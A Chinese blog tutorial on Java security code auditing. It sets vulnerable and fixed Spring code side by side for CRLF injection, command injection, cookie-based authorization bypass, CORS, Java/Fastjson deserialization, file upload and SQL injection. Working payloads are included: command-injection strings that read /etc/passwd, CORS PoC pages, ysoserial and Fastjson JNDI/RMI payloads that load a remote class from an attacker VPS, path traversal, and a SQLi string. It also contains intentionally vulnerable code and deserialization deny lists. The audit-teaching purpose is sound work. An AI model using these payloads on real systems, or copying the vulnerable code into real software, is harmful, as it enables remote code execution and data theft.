Java-Sec代码审计漏洞篇(一)

前言

本文开始通过学习Java代码审计漏洞的代码形式,详细讲解:Command Inject 、 Broken Access Control 、Cors 、CRLFInjection、Deserialize 和越权漏洞等这些实际Java应用挖洞的一些经典代码漏洞以及对应的修复学习,后续也会不断学习更新Java代码漏洞审计续篇...

CRLFInjection

CRLF是”回车+换行”(\r\n)(编码后是%0D%0A)的简称,在HTTP中,HTTP Header和HTTP Body是用两个CRLF来分割的。浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

访问

http://localhost:8080/crlf/safecode?test1=111%0d%0ax&test2=111%0d%0a111

漏洞代码

@Controller  
@RequestMapping("/crlf")  
public class CRLFInjection {  

    @RequestMapping("/safecode")  
    @ResponseBody  
    public void crlf(HttpServletRequest request, HttpServletResponse response) {  
        response.addHeader("test1", request.getParameter("test1"));  
        response.setHeader("test2", request.getParameter("test2"));  
        String author = request.getParameter("test3");  
        Cookie cookie = new Cookie("test3", author);  
        response.addCookie(cookie);  
    }  
}

但这个问题实际上已经在所有的现在的java EE应用服务器上修复了。

CTF的例子:
HCTF2018里面出了一道bottle的题目,就是利用了CRLF注入,利用的是bottle这个python模块存在CRLF漏洞,具体可以参考P神的这篇文章:Bottle HTTP 头注入漏洞探究 题目允许我们跳转到站内的网站,需要注意的是,这个跳转只允许我们跳转到80以下的端口

参数注入

漏洞代码如下

@GetMapping("/codeinject")  
public String codeInject(String filepath) throws IOException {  

    String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};  
    ProcessBuilder builder = new ProcessBuilder(cmdList);  
    builder.redirectErrorStream(true);  
    Process process = builder.start();  
    return WebUtils.convertStreamToString(process.getInputStream());  
}

注入截断即可

codeinject?filepath=/tmp;cat /etc/passwd

host注入

漏洞代码

@GetMapping("/codeinject/host")  
public String codeInjectHost(HttpServletRequest request) throws IOException {  

    String host = request.getHeader("host");  
    logger.info(host);  
    String[] cmdList = new String[]{"sh", "-c", "curl " + host};  
    ProcessBuilder builder = new ProcessBuilder(cmdList);  
    builder.redirectErrorStream(true);  
    Process process = builder.start();  
    return WebUtils.convertStreamToString(process.getInputStream());  
}

攻击漏洞如下

127.0.0.1;id

tomcat7.9以上的版本,都不支持请求链接上带有特殊字符.否则会报400错误,
这是因为Tomcat严格按照 RFC 3986规范进行访问解析,而 RFC3986规范定义了Url中只允许包含英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有保留字符(RFC3986中指定了以下字符为保留字符:! * ’ ( ) ; : @ & = + $ , / ? # [ ])。

修复代码如下

@GetMapping("/codeinject/sec")  
public String codeInjectSec(String filepath) throws IOException {  
    String filterFilePath = SecurityUtil.cmdFilter(filepath);  
    if (null == filterFilePath) {  
        return "Bad boy. I got u.";  
    }  
    String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};  
    ProcessBuilder builder = new ProcessBuilder(cmdList);  
    builder.redirectErrorStream(true);  
    Process process = builder.start();  
    return WebUtils.convertStreamToString(process.getInputStream());  
}

自定义检查类如下

public class SecurityUtil {  

    private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");
    }

越权漏洞

一些应用的cookie是明文,可以直接构造越权登录,举例一些漏洞代码如下:

@RestController  
@RequestMapping("/cookie")  
public class Cookies {  

    private static String NICK = "nick";  

    @GetMapping(value = "/vuln01")  
    public String vuln01(HttpServletRequest req) {  
        String nick = WebUtils.getCookieValueByName(req, NICK); // key code  
        return "Cookie nick: " + nick;  
    }  


    @GetMapping(value = "/vuln02")  
    public String vuln02(HttpServletRequest req) {  
        String nick = null;  
        Cookie[] cookie = req.getCookies();  

        if (cookie != null) {  
            nick = getCookie(req, NICK).getValue();  // key code  
        }  

        return "Cookie nick: " + nick;  
    }  


    @GetMapping(value = "/vuln03")  
    public String vuln03(HttpServletRequest req) {  
        String nick = null;  
        Cookie cookies[] = req.getCookies();  
        if (cookies != null) {  
            for (Cookie cookie : cookies) {  
                // key code. Equals can also be equalsIgnoreCase.  
                if (NICK.equals(cookie.getName())) {  
                    nick = cookie.getValue();  
                }  
            }  
        }  
        return "Cookie nick: " + nick;  
    }  


    @GetMapping(value = "/vuln04")  
    public String vuln04(HttpServletRequest req) {  
        String nick = null;  
        Cookie cookies[] = req.getCookies();  
        if (cookies != null) {  
            for (Cookie cookie : cookies) {  
                if (cookie.getName().equalsIgnoreCase(NICK)) {  // key code  
                    nick = cookie.getValue();  
                }  
            }  
        }  
        return "Cookie nick: " + nick;  
    }  


    @GetMapping(value = "/vuln05")  
    public String vuln05(@CookieValue("nick") String nick) {  
        return "Cookie nick: " + nick;  
    }  


    @GetMapping(value = "/vuln06")  
    public String vuln06(@CookieValue(value = "nick") String nick) {  
        return "Cookie nick: " + nick;  
    }  

}

Cors

原理与工作流程

CORS(Cross-Origin Resource Sharing)跨源资源共享,是HTML5的一个新特性,其思想是使用自定义的HTTP头部让浏览器与服务器进行沟通,它允许浏览器向跨域服务器发出XMLHttpRequest请求,从而克服AJAX只能同源使用的限制。

CORS的基本原理是,第三方网站服务器生成访问控制策略,指导用户浏览器放宽 SOP 的限制,实现与指定的目标网站共享数据。

相比之下,CORS较JSONP更为复杂,JSONP只能用于获取资源(即只读,类似于GET请求),而CORS支持所有类型的HTTP请求,功能完善。

CORS具体工作流程可分为三步,

  1. 资源服务器根据请求中Origin头返回访问控制策略(Access-Control-Allow-Origin响应头),并在其中声明允许读取响应内容的源;
  2. 浏览器检查资源服务器在Access-Control-Allow-Origin头中声明的源,是否与请求方的源相符,如果相符合,则允许请求方脚本读取响应内容,否则不允许;

参考:CORS跨域漏洞总结 [ Mi1k7ea ]

CORS与CSRF的区别

一般有CORS漏洞的地方都有CSRF。

CSRF一般使用form表单提交请求,而浏览器是不会对form表单进行同源拦截的,因为这是无响应的请求,浏览器认为无响应请求是安全的。

浏览器的同源策略的本质是:一个域名的JS,在未经允许的情况下是不得读取另一个域名的内容,但浏览器并不阻止向另一个域名发送请求。

相同点:都需要第三方网站;都需要借助Ajax的异步加载过程;一般都需要用户登录目标站点。

不同点:一般CORS漏洞用于读取受害者的敏感信息,获取请求响应的内容;而CSRF则是诱使受害者点击提交表单来进行某些敏感操作,不用获取请求响应内容。

由于代码限制不严格,会导致跨域请求伪造可以结合xss,csrf进行攻击
前端发起AJAX请求都会受到同源策略(CORS)的限制。发起AJAX请求的方法:

  • XMLHttpRequest
  • JQuery的$.ajax
  • Fetch

前端在发起AJAX请求时,同域或者直接访问的情况下,因为没有跨域的需求,所以Request的Header中的Origin为空。此时,如果后端代码是response.setHeader("Access-Control-Allow-Origin", origin),那么Response的header中不会出现Access-Control-Allow-Origin,因为Origin为空。

漏洞代码:

private static String info = "{\"name\": \"tom\", \"phone\": \"18200001111\"}";  

@GetMapping("/vuln/origin")  
public String vuls1(HttpServletRequest request, HttpServletResponse response) {  
    String origin = request.getHeader("origin");  
    response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header  
    response.setHeader("Access-Control-Allow-Credentials", "true");  // allow cookie  
    return info;  
}  

@GetMapping("/vuln/setHeader")  
public String vuls2(HttpServletResponse response) {  
    // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常  
    response.setHeader("Access-Control-Allow-Origin", "*");  
    return info;  
}

需要cookie来利用无cooike的poc如下

GET:

<!DOCTYPE html>  
<html>  
<head>  
 <title>CORS TEST</title>  
</head>  
<body>  
 <div id='output'></div>  
 <script type="text/javascript">  
   var req = new XMLHttpRequest();   
   req.onload = reqListener;   
   req.open('get','http://vuln.com/xxxx',true);  
   //req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");   
   req.withCredentials = true;  
   req.send();  
   function reqListener() {  
    var output = document.getElementById('output');  
    output.innerHTML = "URL: http://vuln.com/xxxx

Response:
<textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";  
   };  
 </script>  
</body>  
</html>

POST:

<!DOCTYPE html>  
<html>  
<head>  
    <title>CORS TEST</title>  
</head>  
<body>  
    <div id='output'></div>  
    <script type="text/javascript">  
            var req = new XMLHttpRequest();  
            var data = "userId%3Dadmin";  
            req.onload = reqListener;  
            req.open('post','http://vuln.com/xxxx',true);  
            req.setRequestHeader("Content-Type","xxx");  
            req.withCredentials = true;  
            req.send(data);  
            function reqListener() {  
                var output = document.getElementById('output');  
                output.innerHTML = "URL: http://vuln.com/xxxx
Data: userId%3Dadmin

Response:
<textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";  
            };  
    </script>  
</body>  
</html>

修复代码

/**  
     * 重写Cors的checkOrigin校验方法  
     * 支持自定义checkOrigin,让其额外支持一级域名  
     * 代码:org/joychou/security/CustomCorsProcessor  
     */  
    @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"})  
    @GetMapping("/sec/crossOrigin")  
    public String secCrossOrigin() {  
        return info;  
    }  


    /**  
     * WebMvcConfigurer设置Cors  
     * 支持自定义checkOrigin  
     * 代码:org/joychou/config/CorsConfig.java  
     */  
    @GetMapping("/sec/webMvcConfigurer")  
    public CsrfToken getCsrfToken_01(CsrfToken token) {  
        return token;  
    }  


    /**  
     * spring security设置cors  
     * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行  
     * 代码:org/joychou/security/WebSecurityConfig.java  
     */  
    @GetMapping("/sec/httpCors")  
    public CsrfToken getCsrfToken_02(CsrfToken token) {  
        return token;  
    }  


    /**  
     * 自定义filter设置cors  
     * 支持自定义checkOrigin  
     * 代码:org/joychou/filter/OriginFilter.java  
     */  
    @GetMapping("/sec/originFilter")  
    public CsrfToken getCsrfToken_03(CsrfToken token) {  
        return token;  
    }  


    /**  
     * CorsFilter设置cors。  
     * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行  
     * 代码:org/joychou/filter/BaseCorsFilter.java  
     */  
    @RequestMapping("/sec/corsFilter")  
    public CsrfToken getCsrfToken_04(CsrfToken token) {  
        return token;  
    }  


    @GetMapping("/sec/checkOrigin")  
    public String seccode(HttpServletRequest request, HttpServletResponse response) {  
        String origin = request.getHeader("Origin");  

        // 如果origin不为空并且origin不在白名单内,认定为不安全。  
        // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。  
        if (origin != null && SecurityUtil.checkURL(origin) == null) {  
            return "Origin is not safe.";  
        }  
        response.setHeader("Access-Control-Allow-Origin", origin);  
        response.setHeader("Access-Control-Allow-Credentials", "true");  
        return LoginUtils.getUserInfo2JsonStr(request);  
    }

Deserialize 序列化与反序列化

Java的ObjectInputStream对象的readObject方法将反序列化数据转换为java对象。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,在此过程中执行构造的任意代码。

漏洞代码

@RequestMapping("/rememberMe/vuln")  
public String rememberMeVul(HttpServletRequest request)  
        throws IOException, ClassNotFoundException {  

    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);  
    if (null == cookie) {  
        return "No rememberMe cookie. Right?";  
    }  

    String rememberMe = cookie.getValue();  
    byte[] decoded = Base64.getDecoder().decode(rememberMe);  

    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);  
    ObjectInputStream in = new ObjectInputStream(bytes);  
    in.readObject();  
    in.close();  

    return "Are u ok?";  
}

使用ysoserial.jar生成payload

java -jar .\ysoserial-all.jar CommonsCollections5 "calc"  |base64

修复代码:

@RequestMapping("/rememberMe/security")  
public String rememberMeBlackClassCheck(HttpServletRequest request)  
        throws IOException, ClassNotFoundException {  

    Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);  

    if (null == cookie) {  
        return "No rememberMe cookie. Right?";  
    }  
    String rememberMe = cookie.getValue();  
    byte[] decoded = Base64.getDecoder().decode(rememberMe);  

    ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);  

    try {  
        AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException  
        in.readObject();  
        in.close();  
    } catch (InvalidClassException e) {  
        logger.info(e.toString());  
        return e.toString();  
    }  

    return "I'm very OK.";  
}

修复方式是通过Hook resolveClass来校验反序列化的类

序列化数据结构可以了解到包含了类的名称及serialVersionUID的ObjectStreamClass描述符在序列化对象流的前面位置,且在readObject反序列化时首先会调用resolveClass读取反序列化的类名,所以这里通过重写ObjectInputStream对象的resolveClass方法即可实现对反序列化类的校验

跟进查看重写类代码

/**  
 * 只允许反序列化SerialObject class  
 *  
 * 在应用上使用黑白名单校验方案比较局限,因为只有使用自己定义的AntObjectInputStream类,进行反序列化才能进行校验。  
 * 类似fastjson通用类的反序列化就不能校验。  
 * 但是RASP是通过HOOK java/io/ObjectInputStream类的resolveClass方法,全局的检测白名单。  
 *  
 */  
@Override  
protected Class<?> resolveClass(final ObjectStreamClass desc)  
        throws IOException, ClassNotFoundException  
{  
    String className = desc.getName();  

    // Deserialize class name: org.joychou.security.AntObjectInputStream$MyObject  
    logger.info("Deserialize class name: " + className);  

    String[] denyClasses = {"java.net.InetAddress",  
       "org.apache.commons.collections.Transformer",  
                            "org.apache.commons.collections.functors"};  

    for (String denyClass : denyClasses) {  
        if (className.startsWith(denyClass)) {  
            throw new InvalidClassException("Unauthorized deserialization attempt", className);  
        }  
    }  

    return super.resolveClass(desc);  
}

Fastjson

FastJson是一个开源的JSON解析库,能够解析JSON格式的字符串,并支持将Java Bean序列化为JSON字符串,或将JSON字符串反序列化为Java Bean。

要利用漏洞,攻击者需要找到一条有效的攻击链,最终实现代码执行的能力,通常用于远程命令执行(RCE)。构造触发器是关键,这可以通过多种方式实现,比如静态代码块或构造方法等。

Fastjson反序列化漏洞的根本原因主要有两个:

  • 它允许用户通过“@type”键指定任意的反序列化类名
  • 其自定义的反序列化机制使用反射生成指定类的实例,并自动调用其setter和部分getter方法。攻击者可以构造恶意请求,使应用的代码执行流进入特定的setter或getter方法,如果这些方法中存在可被利用的逻辑(即“Gadget”),将导致严重的安全问题。

虽然官方采用了黑名单来校验反序列化类名,但随着时间推移和自动化漏洞挖掘技术的提升,新Gadget层出不穷,黑名单的防护措施仅治标不治本,导致使用该组件的用户频繁面临升级困扰。

对于编程人员而言,使用Fastjson进行反序列化时,常用的方法包括:

  • parse (String text)
  • parseObject(String text)
  • parseObject(String text, Class clazz)

无论选择哪种处理JSON字符串的方法,目标类中符合条件的getter或setter方法都有可能被调用。如果某个类的getter或setter方法满足调用条件且存在可利用点,就会形成攻击链。

漏洞代码:

@RequestMapping(value = "/deserialize", method = {RequestMethod.POST})  
    @ResponseBody  
    public String Deserialize(@RequestBody String params) {  
        // 如果Content-Type不设置application/json格式,post数据会被url编码  
        try {  
            // 将post提交的string转换为json  
            JSONObject ob = JSON.parseObject(params);  
            return ob.get("name").toString();  
        } catch (Exception e) {  
            return e.toString();  
        }  
    }  

    public static void main(String[] args) {  
        // Open calc in mac  
        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"base64反序列化数据\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}";  
        JSON.parseObject(payload, Feature.SupportNonPublicField);  
    }  
}

传入payload 看dnslog

{"name":{"@type":"java.net.Inet4Address","val":"w2b6lu.dnslog.cn"}}

恶意类poc构造如下

package exp;// TouchFile.java  
import java.lang.Runtime;  
import java.lang.Process;  

public class poc {  
    static {  
        try {  
            Runtime rt = Runtime.getRuntime();  
            String[] commands = {"touch", "/tmp/success"};  
            Process pc = rt.exec(commands);  
            pc.waitFor();  
        } catch (Exception e) {  
            // do nothing  
        }  
    }  
}

编译代码,上传至服务器,我在本地使用Python http.server 进行搭建

javac TouchFile.java          //进行编译  
python3 -m http.server 8888   //简单搭建web服务

使用marshalsec项目,启动一个RMI服务器,监听8888端口,并制定加载远程类poc.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vps:8888/#poc" 1099

之后进行反序列化

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vps:1099/poc",
        "autoCommit":true
    }
}

FileUpload

对于文件上传来说,目前这类漏洞在spring里非常少,原因有两点:

  1. 大多数公司上传的文件都会到cdn
  2. spring的jsp文件必须在web-inf目录下才能执行,里面的资源不能被直接访问,只有通过控制器才能访问到

除非,可以上传war包到tomcat的webapps目录。

漏洞代码如下

@Controller  
@RequestMapping("/file")  
public class FileUpload {  

    // Save the uploaded file to this folder  
    private static final String UPLOADED_FOLDER = "/tmp/";  
    private final Logger logger = LoggerFactory.getLogger(this.getClass());  
    private static String randomFilePath = "";  

    // uplaod any file  
    @GetMapping("/any")  
    public String index() {  
        return "upload"; // return upload.html page  
    }  

    // only allow to upload pictures  
    @GetMapping("/pic")  
    public String uploadPic() {  
        return "uploadPic"; // return uploadPic.html page  
    }  

    @PostMapping("/upload")  
    public String singleFileUpload(@RequestParam("file") MultipartFile file,  
                                   RedirectAttributes redirectAttributes) {  
        if (file.isEmpty()) {  
            // 赋值给uploadStatus.html里的动态参数message  
            redirectAttributes.addFlashAttribute("message", "Please select a file to upload");  
            return "redirect:/file/status";  
        }  

        try {  
            // Get the file and save it somewhere  
            byte[] bytes = file.getBytes();  
            Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());  
            Files.write(path, bytes);  

            redirectAttributes.addFlashAttribute("message",  
                    "You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");  

        } catch (IOException e) {  
            redirectAttributes.addFlashAttribute("message", "upload failed");  
            logger.error(e.toString());  
        }  

        return "redirect:/file/status";  
    }  

    @GetMapping("/status")  
    public String uploadStatus() {  
        return "uploadStatus";  
    }  

    // only upload picture  
    @PostMapping("/upload/picture")  
    @ResponseBody  
    public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {  
        if (multifile.isEmpty()) {  
            return "Please select a file to upload";  
        }  

        String fileName = multifile.getOriginalFilename();  
        String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名  
        String mimeType = multifile.getContentType(); // 获取MIME类型  
        String filePath = UPLOADED_FOLDER + fileName;  
        File excelFile = convert(multifile);  


        // 判断文件后缀名是否在白名单内  校验1  
        String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"};  
        boolean suffixFlag = false;  
        for (String white_suffix : picSuffixList) {  
            if (Suffix.toLowerCase().equals(white_suffix)) {  
                suffixFlag = true;  
                break;  
            }  
        }  
        if (!suffixFlag) {  
            logger.error("[-] Suffix error: " + Suffix);  
            deleteFile(filePath);  
            return "Upload failed. Illeagl picture.";  
        }  


        // 判断MIME类型是否在黑名单内 校验2  
        String[] mimeTypeBlackList = {  
                "text/html",  
                "text/javascript",  
                "application/javascript",  
                "application/ecmascript",  
                "text/xml",  
                "application/xml"  
        };  
        for (String blackMimeType : mimeTypeBlackList) {  
            // 用contains是为了防止text/html;charset=UTF-8绕过  
            if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) {  
                logger.error("[-] Mime type error: " + mimeType);  
                deleteFile(filePath);  
                return "Upload failed. Illeagl picture.";  
            }  
        }  

        // 判断文件内容是否是图片 校验3  
        boolean isImageFlag = isImage(excelFile);  
        deleteFile(randomFilePath);  

        if (!isImageFlag) {  
            logger.error("[-] File is not Image");  
            deleteFile(filePath);  
            return "Upload failed. Illeagl picture.";  
        }  


        try {  
            // Get the file and save it somewhere  
            byte[] bytes = multifile.getBytes();  
            Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename());  
            Files.write(path, bytes);  
        } catch (IOException e) {  
            logger.error(e.toString());  
            deleteFile(filePath);  
            return "Upload failed";  
        }  

        logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType);  
        logger.info("[+] Successfully uploaded {}", filePath);  
        return String.format("You successfully uploaded '%s'", filePath);  
    }  

    private void deleteFile(String filePath) {  
        File delFile = new File(filePath);  
        if(delFile.isFile() && delFile.exists()) {  
            if (delFile.delete()) {  
                logger.info("[+] " + filePath + " delete successfully!");  
                return;  
            }  
        }  
        logger.info(filePath + " delete failed!");  
    }
    }

对文件名做了白名单限制,并防止text/html;charset=UTF-8绕过,使用IsImage()函数调用ImageIO.read()函数来检测内容是否为文件,上传文件时会通过uuid生成一个’/tmp’ + uuid + ‘png’ 这样的文件名,然后最后删除掉。

存在未对文件名做校验,存在路径穿越漏洞,我们可以上传图片到任意目录payload:

../../Users/oldthree/Documents/0.OL4THREE/0.Base/apache-tomcat-8.5.70/webapps/java_sec_code_war/1.png`

SQLI注入

先看漏洞代码:

@SuppressWarnings("Duplicates")  
@RestController  
@RequestMapping("/sqli")  
public class SQLI {  

    private static final Logger logger = LoggerFactory.getLogger(SQLI.class);  

    // com.mysql.jdbc.Driver is deprecated. Change to com.mysql.cj.jdbc.Driver.  
    private static final String driver = "com.mysql.cj.jdbc.Driver";  

    @Value("${spring.datasource.url}")  
    private String url;  

    @Value("${spring.datasource.username}")  
    private String user;  

    @Value("${spring.datasource.password}")  
    private String password;  

    @Resource  
    private UserMapper userMapper;  


    /**  
     * <p>Sql injection jbdc vuln code.</p><br>  
     *  
     * <a href="http://localhost:8080/sqli/jdbc/vuln?username=joychou">http://localhost:8080/sqli/jdbc/vuln?username=joychou</a>  
     */  
    @RequestMapping("/jdbc/vuln")  
    public String jdbc_sqli_vul(@RequestParam("username") String username) {  

        StringBuilder result = new StringBuilder();  

        try {  
            Class.forName(driver);  
            Connection con = DriverManager.getConnection(url, user, password);  

            if (!con.isClosed())  
                System.out.println("Connect to database successfully.");  

            // sqli vuln code  
            Statement statement = con.createStatement();  
            String sql = "select * from users where username = '" + username + "'";  
            logger.info(sql);  
            ResultSet rs = statement.executeQuery(sql);  

            while (rs.next()) {  
                String res_name = rs.getString("username");  
                String res_pwd = rs.getString("password");  
                String info = String.format("%s: %s\n", res_name, res_pwd);  
                result.append(info);  
                logger.info(info);  
            }  
            rs.close();  
            con.close();  


        } catch (ClassNotFoundException e) {  
            logger.error("Sorry, can't find the Driver!");  
        } catch (SQLException e) {  
            logger.error(e.toString());  
        }  
        return result.toString();  
    }
    }

拼接存在sql注入漏洞,payload如下可以获取所有账户数据

aaa' or '1'='1

修复代码
prepareStatement()通过预处理方式进行修复

预处理的修复原理:针对字符串类型的SQL注入,是在字符串两边加上一对单号哈'',对于中间点的单引号对其进行转义\',让其变成字符的单引号。Mybatis的#{}也是预处理方式处理SQL注入。

在使用了mybatis框架后,需要进行排序功能时,在mapper.xml文件中编写SQL语句时,注意orderBy后的变量要使用${},而不用#{}。因为#{}变量是经过预编译的,${}没有经过预编译。虽然${}存在SQL注入的风险,但orderBy必须使用${},因为#{}会多出单引号''导致SQL语句失效。为防止SQL注入只能自己对其过滤。

@RequestMapping("/jdbc/sec")  
public String jdbc_sqli_sec(@RequestParam("username") String username) {  

    StringBuilder result = new StringBuilder();  
    try {  
        Class.forName(driver);  
        Connection con = DriverManager.getConnection(url, user, password);  

        if (!con.isClosed())  
            System.out.println("Connecting to Database successfully.");  

        // fix code  
        String sql = "select * from users where username = ?";  
        PreparedStatement st = con.prepareStatement(sql);  
        st.setString(1, username);  

        logger.info(st.toString());  // sql after prepare statement  
        ResultSet rs = st.executeQuery();  

        while (rs.next()) {  
            String res_name = rs.getString("username");  
            String res_pwd = rs.getString("password");  
            String info = String.format("%s: %s\n", res_name, res_pwd);  
            result.append(info);  
            logger.info(info);  
        }  

        rs.close();  
        con.close();  

    } catch (ClassNotFoundException e) {  
        logger.error("Sorry, can`t find the Driver!");  
        e.printStackTrace();  
    } catch (SQLException e) {  
        logger.error(e.toString());  
    }  
    return result.toString();  
}
0 条评论
某人
表情
可输入 255